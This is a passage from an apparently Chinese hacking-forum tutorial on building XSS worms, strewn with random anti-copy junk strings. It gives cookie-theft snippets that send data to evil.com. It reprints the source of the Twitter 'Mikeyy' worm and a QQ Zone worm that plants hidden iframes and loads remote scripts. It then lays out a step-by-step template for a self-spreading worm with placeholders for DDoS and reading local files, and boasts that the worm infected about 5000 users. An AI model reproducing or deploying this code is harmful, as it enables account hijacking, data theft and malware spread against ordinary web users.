复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
! G+ X) ^- C5 x& c$ l
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

! u9 b# r6 U5 G; d. G5 e! nXmlHttp.open("GET","http://www.google.com",false);
" C& h% o, P* W" C
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
2 u& X9 i) }* `# \
XmlHttp.send(null);

</script>
: r5 j+ d! H1 |% K复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


# P3 J2 _4 t% I0 a$ T
0 S3 w/ \8 H5 d3 @$ n$ \6 iXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

9 U9 l; a+ Z! a$ r: E5 \7 A/ QXmlHttp.send(null);
5 U" S. L, ^4 X, g
; m( j, c- H+ d. O<script>
3 Y) ?; ^- q" }0 e复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
1 s) l* v' p' N复制代码案例:Twitter 蠕蟲五度發威
8 |0 Z6 Z9 }# ?- i& ]& v0 e3 V* u  Y第一版:
  下载 (5.1 KB)
5 z/ v5 ]( A- Y. u0 N5 @
! I! w2 S+ n4 z+ p+ I6 天前 08:27
; H( X4 n4 f6 v& A( |3 y- B6 v, Y+ k
' i! O- H1 @6 N$ d第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
" x8 q0 X& _( O& W6 E! Y  V
   2.   
1 K# S& l; g3 f: Z" \) d
   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
  F6 k# k" d& ?6 a; ?
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
7 S7 h  Q6 ^9 _; f
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
: D* W% ?2 O3 ~0 t: C% E3 f
* @- A$ s& S. R   8.   catch(e) { _0x6687x2=false; }; }; };  
0 g8 ?; ~$ x! U3 j复制代码第六版:   1. function wait() {  

! T, r. n- I, y   2.   var content = document.documentElement.innerHTML;  

) O& u" Y1 p+ s+ \) F. L   3.   var tmp_cookie=document.cookie;  
8 q' p, B3 u0 y- f4 I
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
1 q7 P8 }8 b4 ^: p5 {6 V
   6.   var authtoken=authreg.exec(content);  

( L' ~& [6 K7 K# w) ?   7.   var authtoken=authtoken[1];  

/ m. j. M  Z0 ^( B   8.   var randomUpdate= new Array();  

& ^" o# y' c1 T) f! \& H. `   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
3 z7 [9 b. @( i8 a+ x- q) E2 ^
9 \' s3 }4 Q& n) u0 c  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
* |; x! j+ Z" `
+ g4 W: D( y/ o6 R' t  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
0 E7 \) Z2 A6 s3 z8 [/ a& V% c3 ?, }2 g
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
2 Z) J& n! J4 V5 ^: S. j' |' E
! p# V7 o$ ?& {8 B& ~9 _( Y  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
$ E+ I0 D2 B1 ]0 h7 |" K
, m# y/ c0 z: Q. `2 _" Y: j  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
0 L; Q7 b) D7 N3 o8 t- v
, |8 L0 s! D+ d: g/ ]  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
+ \0 _( \; i7 A. k9 L. }! @& \# \
" l7 o& Q2 U* K: W+ F  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
% L* k# w- _/ _1 k' t- @, v
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
% p, j2 {$ s) o$ b% @" ^# K
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
9 Q7 {' G* T0 T* z: K
) G' m# b$ @; a) F% P" d3 P$ c# w4 ~  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

$ W7 p1 L9 f. r- }4 p  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
/ ~1 [5 o1 r2 a  C
  27.     

9 ?1 d" _, n( G- n% A+ B& X  28.   var ajaxConn= new XHConn();  
* n* O9 ?! ?$ ~9 T; r3 r# M. {0 Y
9 a  W, Q, {4 H% `  Q7 m; b  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
$ d9 n" A$ p- X0 H: x% b+ f1 |; C
' {7 E: O7 o' r9 \/ O  31.   var updateEncode=urlencode(_0xf81bx1c);  

# w* ~8 Y+ V0 J8 E  32.   var ajaxConn1= new XHConn();  

1 Q; j. o+ o( \* `/ r  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

6 f  s$ y% I# ^% ?' z5 }( C  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

* i' y! {0 t5 J" E! B6 \+ K6 ~, g  35.   var XSS=urlencode(genXSS);  
4 H5 Z& A! C$ i& H0 [$ p- F8 h$ }5 ~
1 x* f% U( i) g9 `( l  36.   var ajaxConn2= new XHConn();  

! n; w0 E$ K$ |1 C7 e  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
/ t8 J$ l& o, s/ ]4 U0 k& k
" J5 P7 Y2 r- S4 h, ~  38.     
) R4 m5 K% e7 X0 _- G" i! t# B
  39. } ;  
9 ?+ H8 Z+ \# m+ E
  40. setTimeout(wait(),5250);  
: }3 s/ m3 ^* l6 Z/ K复制代码QQ空间XSSfunction killErrors() {return true;}

1 q( }3 z8 v4 m; E. y. s2 F/ pwindow.onerror=killErrors;
$ G! i$ ]1 B$ x; z9 Q! w2 @  ]

, H6 i6 q& G8 C/ G0 a, ]& c
var shendu;shendu=4;
9 O9 t# F3 T# ]0 L; o
8 |! z* `! q8 a! U% b- v* o//---------------global---v------------------------------------------

" d, r: r. b) Y0 F# _//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

/ s1 Y( j, f* r: `var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
7 ^4 y+ c: [2 W5 B1 s
var myblogurl=new Array();var myblogid=new Array();

/ n3 }" B/ T5 _7 ]' ^/ v  O1 ]        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;
" f* n1 U% A  f  B# S$ B
, m8 Q7 _6 a& I( N, K2 w$ W           var cookieS=visitorID.indexOf("g_iLoginUin = ");

1 D1 H/ `; ]  s  m$ c        visitorID=visitorID.substring(cookieS+14);

7 ~* z; }+ I# k( X' B        cookieS=visitorID.indexOf(",");

7 h. H$ f7 D) [+ ]        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

7 m8 ~" F8 E- ~$ s        DOshuamy();
" L7 P0 x' ^+ B6 `0 l% x& c

8 ]1 }% F5 e0 t
//挂马
  D3 Q- U, F5 Z
function DOshuamy(){
) O3 U; [/ j$ o
( E2 D5 v' _8 C" ?7 r* I( Wvar ssr=document.getElementById("veryTitle");

: r$ p* \( ~) _2 p$ A5 X+ W& V! fssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
3 u3 v" M7 X  n+ ~# c
}

9 J0 }" J/ y9 @8 D, B* W: t/ |
$ `) E* M5 C: x8 i/ G
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
% \0 j0 t  }; a, h: G! ~2 E8 K+ ?# i
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

( y' l. v7 j" d0 s% s+ U: L   if(xhr){    //成功就执行下面的

7 w: m: q& E( h     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

" t+ O: j' l3 }( p/ N     xhr.send();guest=xhr.responseText;
2 h. ]# F2 D8 ]1 I
     get_my_blogurl(guest);    //执行这个函数
2 A6 {& }1 J4 g- v" Z( o, H# V
! P% z. E% b1 f    }
9 m! H" K# m( j5 m6 m5 g6 O
}

+ ?/ v# b% s: b5 T/ \, m

//这里似乎是判断没有登录的

8 ?' e/ r/ q3 @' Z2 T, H. Ofunction get_my_blogurl(guest){
2 Q, R0 c& l; D9 Z0 D! n8 l# `$ ~: E
! C$ {/ b- r1 `5 N! p  var mybloglist=guest;
5 N5 M) o1 x" e0 O8 ~; v
8 P& c) n6 d# K. e7 T: ^  var myurls;var blogids;var blogide;
: k( p5 l5 P' \0 V. c
9 X1 P+ A6 [6 }9 |& |; i  for(i=0;i<shendu;i++){
) W, z$ r. k5 X- v' w
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

$ ]' b: e' G0 [" T2 k' y4 a     if(myurls!=-1){    //找到了就执行下面的
  g) _9 g+ f+ X6 R  }
* Y: j6 ]+ b4 I  H2 T; q         mybloglist=mybloglist.substring(myurls+11);
0 a: K! O3 m  E* h8 p6 i* F9 I
* X! g9 L  K+ K4 b" Z& [( J         myurls=mybloglist.indexOf(')');

- |/ [8 k, s- z; H% D* _. c         myblogid=mybloglist.substring(0,myurls);

/ Q  `* t. L$ r% @; y        }else{break;}

# v* k: l  l; [+ r5 C}
9 M  ?6 p0 J  B9 e
get_my_testself();    //执行这个函数

}
7 M5 b- M' w4 d$ s! F  |0 w
$ d* ]. t& A% N

  ?: _. U/ o; G" y8 Q! _5 C3 g1 R//这里往哪跳就不知道了
# s6 e2 c$ L' Z) K2 Q
5 e8 g* Q: z9 l+ A8 ~) ], p' ^5 Lfunction get_my_testself(){
( H! e# f4 }" o2 {/ v# k9 j
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
0 V: l6 Q) X/ M1 }9 y
# }" i5 z3 {  f- f) B      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
& @$ Q* y& m3 b$ w" J6 o1 s! i8 @
' Q2 @' {7 J* H# P0 s! x      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
# J+ G" G: v3 d1 ?+ i
0 O7 \( ^+ ~4 {/ S      if(xhr2){        //如果成功
+ t6 {* [2 [, X$ ]' S
# i1 @$ i+ @- c3 w6 y8 R7 B, z              xhr2.open("GET",url,false);     //打开上面的那个url
/ X5 W- C+ T+ S9 C% Q
5 W' U5 V: P7 x4 v6 r' Y8 o; B8 l) [              xhr2.send();

- s2 b4 K5 d. }* X' [$ n              guest2=xhr2.responseText;

. ?, Z& {( ~+ j3 L! |$ r3 H              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
, Z4 k1 _2 {; k, z7 ^  N/ L
) U- h8 D" p" o& C# B              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
, w9 Y8 o# w0 o# G) ?
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

. P% v( [9 D3 s5 m                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

4 H& E" E' a( Z  i! S                break;
( K! ]1 M' X' N
               }

              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
8 T- B$ v* L* f+ B( ]* _: u# w
# L5 u) U; R& N' d! o                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;

               }

7 S* g9 M" k$ V& `) C  Y' y" Y9 D        }      

}

}



! @4 c3 c0 j& S9 f  Y4 Q//--------------------------------------  

# N0 g& {, x- N, s//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

    var XMLhttpObject=null;  

% u6 m, b+ m- {6 g    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

4 V- Z/ k+ d" R3 O    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
+ r4 ~; ~" m" ?  W. _3 k
        for(var i=0;i<MSXML.length;i++)  
) c# X. m1 ]/ H7 W* D+ ^
        {  
" e  c4 ~3 ~2 K" b) _& q$ q- \
/ @) k. }9 C" W2 k3 l2 R            try  

, g( z& I, h. m: U7 a  s! v            {  

/ M' b) p" y" m! H  K: F                XMLhttpObject=new ActiveXObject(MSXML);  

% \2 k4 o  \& i" R& c                break;  

            }  
, `: I  W$ U0 V$ |
8 d; p4 }" _. A3 W" k0 J: k            catch (ex) {  

            }  

9 f6 {3 A* g* L) z         }  

8 S# E$ ]3 T8 e) p2 }. p3 ]5 ~7 I      }

return XMLhttpObject;

/ D1 Z8 K% K# ^( l: i. ?3 @}  
  K( Y2 H2 y  ]
1 a) J9 [  @- Q, K7 s/ I7 w. M! Z7 N

//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){
+ N$ r9 @+ m* v7 B5 K2 }
7 W8 L3 [9 i/ `  {9 ?( Pvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' j+ e! V4 R* ~" @9 j/ e* `8 V2 C
s2.type='text/javascript';

4 u5 @* {  v2 v1 V" ]" ?document.getElementsByTagName('head').item(0).appendChild(s2);

9 y+ `7 k' U/ q}


  |6 M" h$ O$ |2 Z2 o. N: ]
( {! }- N8 }0 H; @) lfunction add_jsdel(visitorID,targetblogurlid,gurl){

* q7 x( ]. h' r# ?, Vvar s2=document.createElement('script');
4 `# Q6 E  I! l. ^& _& U! u8 q7 W7 j) S- x
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ o) m: g1 C9 E) H/ k
s2.type='text/javascript';
! E) ~+ K& j2 I, n5 ^
1 w4 Q6 R, }! Y% l! f9 Ddocument.getElementsByTagName('head').item(0).appendChild(s2);

3 n* m- z' j2 s. G$ I}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
5 q* {1 @8 I/ M9 |0 g2 {
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

2 W; C6 S3 ]; P/ F, I2 `
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
' F1 F/ x  c/ D, n$ [# u$ W
. ~0 l$ x3 q1 h" c# i7 k% p! Q, M首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

. M, P* A6 O7 |' \2 S/ sif(request.overrideMimeType) {
/ J8 A. @4 S5 J; X
8 O. c! D$ S; A9 erequest.overrideMimeType('text/xml');

9 l1 x1 ]. ^) F}

2 O0 ~1 [, ]2 G2 p2 Q  M} else if(window.ActiveXObject) {
  M  @; h2 u0 X% f% @' [6 v
9 ]$ c) g1 K- X) evar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 g+ z# I! u: U
. T% e) S# W/ E2 X+ }  afor(var i=0; i<versions.length; i++) {

& B# L/ l. X2 ?try {

# u6 X" ~. G! V9 K1 }request = new ActiveXObject(versions);

3 q8 N; D, G: f& B$ D} catch(e) {}

( u/ J0 G1 Q7 d}

/ p, v0 d; Y9 q' i  J7 {2 U}

xmlHttpReq=request;
* ^4 _, A: w6 D7 |( F% A复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
5 P, c  ^' {; `4 o, n: c
1 T/ K! s/ B+ e7 T        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;

        
/ `& M) a  [, j* q' F. d3 i" U# ?
        var Actual_Version,Actual_Name;
1 S! b3 I1 ^* L7 O
& D$ P; A- O  i        
: D0 `" n0 @) o# z8 ~  K+ Q
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
: a5 H) y! j& m8 }
        var is_NN=(Browser_Name=="Netscape");

0 ~! G6 Q. i4 M9 s        var is_Ch=(Browser_Name=="Chrome");
7 i4 R" a( a/ k
        

        if(is_NN){
# a: p9 }# y7 b* z6 p
            if(Browser_Version>=5.0){
1 A  a3 a5 ?. k  N, P# p# }
" t! Y$ {" u) g3 f# E" _9 r2 N8 R: |                var Split_Sign=Browser_Agent.lastIndexOf("/");
8 w1 N: V  K  q& g$ M
& f8 e+ l  l5 f6 [$ h% D# D+ X                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
( I8 n* m9 c; v0 |8 `, F
2 k4 z* M# U" I4 n5 T
" E! Y* t) B* k
/ }+ A7 x$ B" e  W$ [! z                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
1 W/ }# n- z; ^$ d$ [) ~$ h
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 u9 \8 R5 n- p/ f/ P. J+ w
9 o7 x& c3 d+ {4 m3 Q& T            }
, }5 o) j6 G; r8 K8 Y2 j1 V
            else{

  @$ }  h& l; _9 V, |7 x- b! c                Actual_Version=Browser_Version;
; @, Z1 K. u. G4 D; p2 q# x! T
                Actual_Name=Browser_Name;
. K0 d: q7 s* T% j3 J( F
            }

        }
, B/ b. m  ?& S8 V2 j; C; E
) l+ S% t* v. K9 M        else if(is_IE){
3 \* n! s% ?" D4 w9 h
$ k( Q5 L/ S! ?) i" U" C            var Version_Start=Browser_Agent.indexOf("MSIE");
; S8 V& r  X1 s" f7 g1 n  Z3 _
7 Y. M8 f9 m, T) j9 z            var Version_End=Browser_Agent.indexOf(";",Version_Start);

% b6 H& h+ Y' E2 ~5 _            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

8 _& T7 E/ A6 R) m6 K( p            Actual_Name=Browser_Name;
: `4 m+ W% {! s2 q1 Y3 }+ U" `  |. w, g
7 _5 C& G- ^- R7 G6 ~0 e* a            

: h* D/ o& |. Z0 u$ A            if(Browser_Agent.indexOf("Maxthon")!=-1){
# z  }' _( b" ]9 p! Q% |
  C: }( h1 i, Y3 s9 F, g, ]                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

+ D& S/ v& f& M8 s  d1 r  Z                var tempend=Browser_Agent.length;
) @1 \. r" y, [) e" c8 a4 e3 i$ M" L; O
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
% ]2 I5 f, ]7 Y
            }

        }
4 M3 A5 w: c5 X
$ o% k: q  Z, [  F3 M$ y        else if(is_Ch){

' Q$ ~. h! I8 N8 s3 v            var Version_Start=Browser_Agent.indexOf("Chrome");
3 U$ k, b# l! s8 \4 ^( \
1 g( [7 N) L. `, J/ r8 v            var Version_End=Browser_Agent.indexOf(";",Version_Start);
. |) }: v) c1 S+ h) C
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

, c, `' P' y. N4 h4 P            Actual_Name=Browser_Name;

            
. J# p7 s( U' F9 V/ v; l% ^
            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

/ J# R4 g: T1 l4 |0 R* \0 h0 s            }
+ o6 p6 t* X5 J& T% ~; [
1 B% H0 p/ t0 I5 V' s) K3 ~            else if(Browser_Agent.indexOf("Opera")!=-1){

! q4 {; O8 g0 s2 @4 ~8 H                Actual_Name="Opera";
! S: i1 k/ h) Z0 S" ]8 I
4 s! B& h/ T4 d                var tempstart=Browser_Agent.indexOf("Opera");

8 E2 r* R5 w& j0 E) A; H                var tempend=Browser_Agent.length;
2 K3 O* z: L# H) q2 B
" a& l* `4 {9 g5 y/ }                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
. M6 @7 u+ k* |+ u) s
* [, Y! _! Z5 {& e, D* M            }

        }

        else{

            Actual_Name="Unknown Navigator"
6 V' @# _; z! V
            Actual_Version="Unknown Version"

0 l) b2 W+ \0 I7 S        }
, h; J. K" B! l- \8 c$ q

, k6 X6 ~" z2 _; Y& e: J
        navigator.Actual_Name=Actual_Name;
' v6 J# |5 F1 n* t- p
$ e1 ?# o; ?# S5 Z        navigator.Actual_Version=Actual_Version;

! o& f& p. O3 k& l. |        
/ Z4 v9 m7 w# V9 w; k$ h
2 o" K% z$ B8 h        this.Name=Actual_Name;
; D$ g4 a/ S0 E8 ^; p
4 J5 T0 B- F. P, p        this.Version=Actual_Version;

    }
& P' S8 h3 n. ^) o" O0 m
    browserinfo();
4 q4 `9 c" m. l6 V' a/ r
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
$ b4 M  |! t  ~/ p, X
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

7 n' r0 n8 c7 R    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
- P, W4 e% K& ]2 C( E复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ r( x: }0 w0 {复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

& u$ k7 R+ z1 y- `var resource = xmlHttpReq.responseText;
( v0 V+ r) k% t4 Y8 ]. Z, p
var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
# ^5 [3 M8 ^% V$ c) I9 y
# s5 c8 j4 t4 C: d; ?& fwhile ((result = patt.exec(resource)) != null)  {
; J' }+ u9 g% o6 Y3 |
. H$ {; k2 f* n1 ^* E+ |+ E4 \, ~& P- K! jid++;

  `+ }- W( L  |* P8 u}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
- O2 ?8 w& v6 R( u2 ~
: a% k& n% C, wno=resource.search(/my name is/);
, G- G2 Q4 K0 N5 I) ?, g+ X
0 c) f/ `* z/ _8 Wvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

3 F4 b" a9 P- ^4 K, ]var post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

6 H( |$ r1 v. E; [xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
: W5 Y) q2 c4 C/ A" j
xmlHttpReq.send(post);
3 c8 b, f1 N9 [! ^
! `1 f8 d3 O  T6 \) N9 A% e2 [4 C# M}
( a. [; m) X' I' y复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
+ _3 `( J! e6 c' R
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;

$ ^6 u) F- D' e0 z/ FxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
+ }9 \, t3 K1 K0 Z* h4 m
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
8 ]6 @: F0 p* N5 a8 l! J; \& U/ g
9 l5 b5 ]: W; T9 z9 M, i* O& p* HxmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
& i9 {4 T" ~3 M. D; t% ?复制代码-----------------------------------------------------总结-------------------------------------------------------------------


& V  }" y* b3 @! ~& F  _
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
( M9 r. |$ i% [2 [$ o+ K' H7 ?4 S  }操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

5 b* z* F2 a6 C5 }" X7 z

; _! Q/ c" W- I7 j


" J4 O6 p) \1 y, P4 E2 E
  q' z6 B. d4 ^7 w3 e
本文引用文档资料:
5 h5 U, p! {1 x3 ^
